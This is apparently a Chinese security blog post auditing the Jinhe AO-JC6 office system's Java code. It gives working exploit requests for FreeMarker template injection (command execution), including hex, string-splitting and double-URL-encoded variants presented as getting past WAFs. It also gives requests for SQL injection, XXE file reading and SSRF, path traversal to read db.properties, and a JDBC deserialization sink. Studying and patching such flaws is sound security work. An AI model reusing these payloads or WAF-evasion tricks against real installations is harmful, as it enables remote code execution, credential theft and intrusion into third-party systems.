首页
Search
1
中国电信网关配置管理系统 代码审计
10 阅读
2
正泰预付费 代码审计
10 阅读
3
ShowDoc <=3.9.2 registerByVerify 未授权PHP代码注入漏洞分析
9 阅读
4
Ubuntu部署 Clash verge 代理节点
8 阅读
5
Apache HertzBeat 模板注入漏洞
8 阅读
代码审计
渗透测试
固件安全
漏洞复现
杂七杂八
原创文章
CVE
登录
Search
标签搜索
代码审计
漏洞复现
原创文章
杂七杂八
渗透测试
Java
PHP
.Net
Python
漏洞
Alanni
累计撰写
10
篇文章
累计收到
1
条评论
首页
栏目
代码审计
渗透测试
固件安全
漏洞复现
杂七杂八
原创文章
CVE
页面
搜索到
1
篇与
的结果
2026-07-20
金和AO-JC6 - 代码审计
一、FreeMarker SSTI模板注入FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。模板编写为FreeMarker Template Language (FTL)。它是简单的,专用的语言, 不是 像PHP那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。这种方式通常被称为 MVC (模型 视图 控制器) 模式,对于动态网页来说,是一种特别流行的模式。 它帮助从开发人员(Java 程序员)中分离出网页设计师(HTML设计师)。设计师无需面对模板中的复杂逻辑, 在没有程序员来修改或重新编译代码时,也可以修改页面的样式。其实FreeMarker的原理就是:模板+数据模型=输出关键代码如下:public String viewConTemplate() { FileOutputStream out = null; try { String sameName = this.uuid + ".ftl"; File file = new File(PortalTemplateUtil.TEMPLATE_TEMP_DIR); if (!file.exists()) { file.mkdirs(); } out = new FileOutputStream(PortalTemplateUtil.TEMPLATE_TEMP_DIR + File.separator + sameName); String code = this.request.getParameter("code"); code = URLDecoder.decode(code, "UTF-8"); code = code.replaceAll("<", "<").replaceAll(""", "\"").replaceAll("'", "'").replaceAll(">", ">").replaceAll(" ", " ").replaceAll("<br />", "").replaceAll("<p>", "").replaceAll("</p>", "").replaceAll("&", "&"); byte[] b = code.getBytes(); out.write(b); out.flush(); try { if (out != null) { out.close(); } } catch (IOException e) { e.printStackTrace(); } Template template = FreemarkerConfiguration.getTemplateTemp().getTemplate(sameName); HttpServletResponse response = getResponse(); response.setContentType("text/html;charset=UTF-8"); response.setHeader("Cache-Control", "no-cache"); response.setHeader("Expires", "0"); response.setHeader("Pragma", "No-cache"); PrintWriter pw = response.getWriter(); Map<String, String> values = new HashMap<>(); values.put("ctx", getCtx()); template.process(values, pw); } catch (Exception e) { e.printStackTrace(); } finally { try { if (out != null) { out.close(); } } catch (IOException e) { e.printStackTrace(); } } return null; }\x01、十六进制绕过WAF查阅相关文档 FreeMarker 支持 十六进制 和 八进制 但是我没有成功复现 八进制。 十六进制绕过WAF 如下:<clob>${"\x66\x72\x65\x65\x6d\x61\x72\x6b\x65\x72.template.utility.\x45\x78\x65\x63\x75\x74\x65"?new()("whoami")}</clob>双重URL编码:%253c%2563%256c%256f%2562%253e%2524%257b%2522%255c%2578%2536%2536%255c%2578%2537%2532%255c%2578%2536%2535%255c%2578%2536%2535%255c%2578%2536%2564%255c%2578%2536%2531%255c%2578%2537%2532%255c%2578%2536%2562%255c%2578%2536%2535%255c%2578%2537%2532%252e%2574%2565%256d%2570%256c%2561%2574%2565%252e%2575%2574%2569%256c%2569%2574%2579%252e%255c%2578%2534%2535%255c%2578%2537%2538%255c%2578%2536%2535%255c%2578%2536%2533%255c%2578%2537%2535%255c%2578%2537%2534%255c%2578%2536%2535%2522%253f%256e%2565%2577%2528%2529%2528%2522%2577%2568%256f%2561%256d%2569%2522%2529%257d%253c%252f%2563%256c%256f%2562%253ePS: 如果全部编写为十六进制则会影响效果,这里以qax云堤为例。如果使用默认的即可执行RCE。\xsp 拼接绕过WAF常见的WAF,目前大多数都是匹配特征值进行判断,如果拆分拼接可以差不多绕过。<clob>${("freem" + "arker" + ".template.utility.Exe" + "cute")?new()("whoami")}</clob>双重URL编码:%253c%2563%256c%256f%2562%253e%2524%257b%2528%2522%2566%2572%2565%2565%256d%2522%2520%252b%2520%2522%2561%2572%256b%2565%2572%2522%2520%252b%2520%2522%252e%2574%2565%256d%2570%256c%2561%2574%2565%252e%2575%2574%2569%256c%2569%2574%2579%252e%2545%2578%2565%2522%2520%252b%2520%2522%2563%2575%2574%2565%2522%2529%253f%256e%2565%2577%2528%2529%2528%2522%2577%2568%256f%2561%256d%2569%2522%2529%257d%253c%252f%2563%256c%256f%2562%253e二、/servlet/clobfield SQL注入关键代码:public class clobfield extends HttpServlet { public void service(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { String sTablename = req.getParameter("sTablename"); String sImgname = req.getParameter("sImgname"); String sKeyname = req.getParameter("sKeyname"); String sKeyvalue = req.getParameter("sKeyvalue"); String strKey = req.getParameter("key"); try { clobfield1 wd = new clobfield1(); wd.sTablename = sTablename; wd.sImgname = sImgname; wd.sKeyname = sKeyname; wd.sKeyvalue = sKeyvalue; res.setContentType(GBTool.resEncode); PrintWriter out = res.getWriter(); if (strKey.equals("readClob")) out.print(wd.readClob()); if (strKey.equals("writeClob")) { BufferedReader in = new BufferedReader(new InputStreamReader((InputStream) req.getInputStream(), "UTF-8")); out.print(wd.writeClob(in)); } } catch (Exception exception) { } } }还是接收指定参数,拼接SQL语句导致SQL注入。PS: 其中 key 的值一定是 readClobpublic String readClob() { String sRet = ""; Connection conn = null; Statement stat = null; try { conn = this.jt.getDataSource().getConnection(); stat = conn.createStatement(); stat.execute("select " + this.sImgname + " from " + this.sTablename + " where " + this.sKeyname + "='" + this.sKeyvalue + "'"); ResultSet rsreadclob = stat.getResultSet(); if (rsreadclob.next()) { Clob myReadClob = rsreadclob.getClob(1); int iLen = 1; iLen = (int) myReadClob.length(); sRet = myReadClob.getSubString(1L, iLen); } rsreadclob.close(); } catch (Exception e) { sRet = e.getMessage(); try { stat.close(); conn.close(); } catch (Exception ee) { stat = null; conn = null; } } finally { try { stat.close(); conn.close(); } catch (Exception ee) { stat = null; conn = null; } } return sRet; }POST /jc6/servlet/clobfield HTTP/1.1 host:127.0.0.1 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) key=readClob&sImgname=filename&sTablename=FC_ATTACH&sKeyname=djbh&sKeyvalue=11%27%2F**%2Fand%2F**%2FCONVERT%28int%2C%40%40version%29%3D1%2F**%2Fand%2F**%2F%27%27%3D%27三、PathFile XXE3.1 入口代码PathFile.java 的关键逻辑如下:SAXReader reader = new SAXReader(); document = reader.read((InputStream)req.getInputStream());问题在于:SAXReader 使用的是默认配置没有看到任何类似下面的安全配置:reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);也就是说,攻击者提交的 XML 中如果包含 DOCTYPE 和外部实体,解析器大概率会去处理。3.2 数据流向在 PathFile.java 中,XML 被解析后会交给 PathFile1.GetUrl():PathFile1 pf = new PathFile1(); pf.document = document; String realPath = req.getSession().getServletContext().getRealPath("/"); out.print(pf.GetUrl(realPath));而在 PathFile1.java 中,第一个子节点会被取出来作为 path:case 0: path = tmpValue; break;第二个节点取出来做为文件类型,默认就为 filecase 1: strType = tmpValue; break;第三个节点是否为当前工作目录(安装目录),默认是 jc6 目录下。case 2: IsVir = tmpValue; break;第四个节点就是样式。case 3: displayType = tmpValue; break;第五个节点以特定后缀筛选文件。case 4: strFiles = tmpValue; break;<root> <item></item> <item>file</item> <item>yes</item> <item>2</item> <item>jsp,jar</item> </root>随后进入:File dir = new File(path); if (!dir.exists()) return "路径:" + path + " 不存在!";这一点非常关键。因为如果 path 是通过外部实体展开出来的文件内容,那么这些内容就有可能被拼接到返回信息中。3.3 EXP3.3.1 目录遍历POST /jc6/servlet/PathFile?GetUrl HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Type: application/xml <root> <item>C:\</item> <item>file</item> <item>no</item> <item>list</item> <item>txt,xml,properties</item> </root>3.3.2 文件读取POST /jc6/servlet/PathFile?GetUrl HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Type: application/xml <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini"> ]> <root> <item>&xxe;</item> <item>file</item> <item>no</item> <item>list</item> <item>txt</item> </root>3.3.3 SSRFPOST /servlet/PathFile?GetUrl HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Type: application/xml <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/"> ]> <root> <item>&xxe;</item> <item>file</item> <item>no</item> <item>list</item> <item>txt</item> </root>四、JDBC 反序列化漏洞原理分析: JDBC-反序列化分析.md关键代码:public class uploaddoc extends HttpServlet { public void service(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { String sTablename = ""; String sKeyvalue = ""; String sKeyvalue1 = ""; String subPath = ""; sTablename = req.getParameter("sTablename"); sKeyvalue = req.getParameter("sKeyvalue"); sKeyvalue1 = req.getParameter("sKeyvalue1"); subPath = req.getParameter("subPath"); subPath = Escape.unescape(subPath); String strKey = req.getParameter("key"); res.setContentType(GBTool.resEncode); PrintWriter out = res.getWriter(); String strConn = ""; try { uploaddoc1 wd = new uploaddoc1(); wd.sTablename = sTablename; wd.sKeyvalue = sKeyvalue; wd.sKeyvalue1 = sKeyvalue1; wd.subPath = subPath; if (strKey.equals("readimage")) { String realPath = req.getSession().getServletContext().getRealPath("/"); out.print(wd.readimage(realPath)); } if (strKey.equals("getTreeXml")) { strConn = req.getParameter("connectstring"); out.print(wd.getTreeXml(strConn)); } } catch (Exception exception) { } }当 key 的值为 getTreeXml 则可触发 getTreeXml 。public String getTreeXml(String strConn) { Connection tmpConn = null; Statement tmpStmt = null; Connection conn = null; Statement stat = null; ResultSet rs1 = null; StringBuffer sRet = new StringBuffer(); String sCode = ""; String sName = ""; String sId = ""; boolean bHaveId = true; int iCodeLen = 0; int iupLevel = 0; int icurLevel = 0; ArrayList<String> arrLevel = new ArrayList(); this.sTablename = Escape.unescape(this.sTablename); try { if (!strConn.equals("")) { String[] arr = StringTools.split(strConn, ","); if (arr.length != 4) { throw new IllegalArgumentException("数据库的连接串:" + strConn + "配置不正确! "); } Class.forName(arr[0]); tmpConn = DriverManager.getConnection(arr[1], arr[2], arr[3]); tmpStmt = tmpConn.createStatement(); rs1 = tmpStmt.executeQuery(this.sTablename); } else { conn = this.jt.getDataSource().getConnection(); stat = conn.createStatement(); rs1 = stat.executeQuery(this.sTablename); } while (rs1.next()) { iupLevel = icurLevel; sCode = rs1.getString(1).trim(); sName = rs1.getString(2).trim(); if (bHaveId) { try { sId = rs1.getString(3).trim(); } catch (Exception e1) { bHaveId = false; } } iCodeLen = sCode.length(); Integer o = new Integer(iCodeLen); if (arrLevel.size() == 0) { arrLevel.add(o.toString()); icurLevel = 1; } else { if (Integer.parseInt(arrLevel.get(arrLevel.size() - 1).toString(), 10) < iCodeLen) { arrLevel.add(o.toString()); } int tmp = getLevel(arrLevel, iCodeLen); if (tmp == -1) { continue; } icurLevel = tmp; if (iupLevel < icurLevel) { sRet.append(">"); } else { sRet.append("/>"); for (int j = 0; j < iupLevel - icurLevel; j++) { sRet.append("</TreeNode>"); } } } sRet.append("<TreeNode text=\"" + sName + "\" "); if (bHaveId) { sRet.append("code=\"" + sId + "\" "); } } if (!sRet.equals("")) { sRet.append("/>"); for (int jj = 1; jj < icurLevel; jj++) { sRet.append("</TreeNode>"); } } } catch (Exception ex) { return ex.getMessage(); } finally { try { rs1.close(); stat.close(); conn.close(); } catch (Exception ew) { rs1 = null; stat = null; conn = null; } if (!strConn.equals("")) { try { tmpStmt.close(); } catch (Exception ew1) { tmpStmt = null; } try { tmpConn.close(); } catch (Exception ew2) { tmpConn = null; } } } return sRet.toString(); }其中的 arr[1], arr[2], arr[3] 为 strConn 可控参数。五、oaplusrangedownloadfile 任意文件读取代码:@RequestMapping(value = {"/login/oaplusrangedownloadfile"}, method = {RequestMethod.GET}) public ModelAndView rangeDownloadFile(HttpServletRequest request, HttpServletResponse response) throws Exception { String filename = request.getParameter("filename"); String path = request.getSession().getServletContext().getRealPath("/OAPlus/" + filename); File file = new File(path); ModelAndView mv = new ModelAndView("byteRangeViewRender"); mv.addObject("file", file); mv.addObject("contentType", "application/octet-stream"); return mv; }还是最基础的问题,拼接。路由有个baseurl在 web.xml 里。<servlet-mapping> <servlet-name>spring</servlet-name> <url-pattern>/JHSoft.WCF/*</url-pattern> </servlet-mapping>EXP读取配置文件 db.properties 或 config.propertiesGET /jc6/JHSoft.WCF/login/oaplusrangedownloadfile?filename=../WEB-INF/classes/db.properties HTTP/1.1 Host: localhost User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) Accept-Encoding: gzip, deflate Accept: */* Connection: close 六、ActionDataSet XXE路由:<servlet-mapping> <servlet-name>ActionDataSet</servlet-name> <url-pattern>/servlet/ActionDataSet</url-pattern> </servlet-mapping><servlet> <servlet-name>ActionDataSet</servlet-name> <servlet-class>cn.com.fcsoft.servlet.ActionDataSet</servlet-class> </servlet>代码:直接使用 dom4j 的 SAXReader 解析用户可控 XML,且没有任何安全配置。默认情况下(取决于 dom4j 和底层 SAX Parser 版本),SAXReader 可能允许解析外部实体。public class ActionDataSet extends HttpServlet { public void doPost(HttpServletRequest req, HttpServletResponse res) throws IOException, ServletException { res.setContentType(GBTool.resEncode); PrintWriter out = res.getWriter(); Document document = null; try { SAXReader reader = new SAXReader(); try { document = reader.read((InputStream) req.getInputStream()); } catch (Exception e) { System.out.println(e.getMessage()); } out.print("数据集中的数据: " + document.asXML()); } catch (Exception e) { e.printStackTrace(); } }EXPPOST /jc6/servlet/ActionDataSet HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Type: application/xml <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///C:/windows/win.ini"> ]> <root>&xxe;</root>引用/参考Java安全之freemarker 模板注入
2026年07月20日
7 阅读
0 评论
0 点赞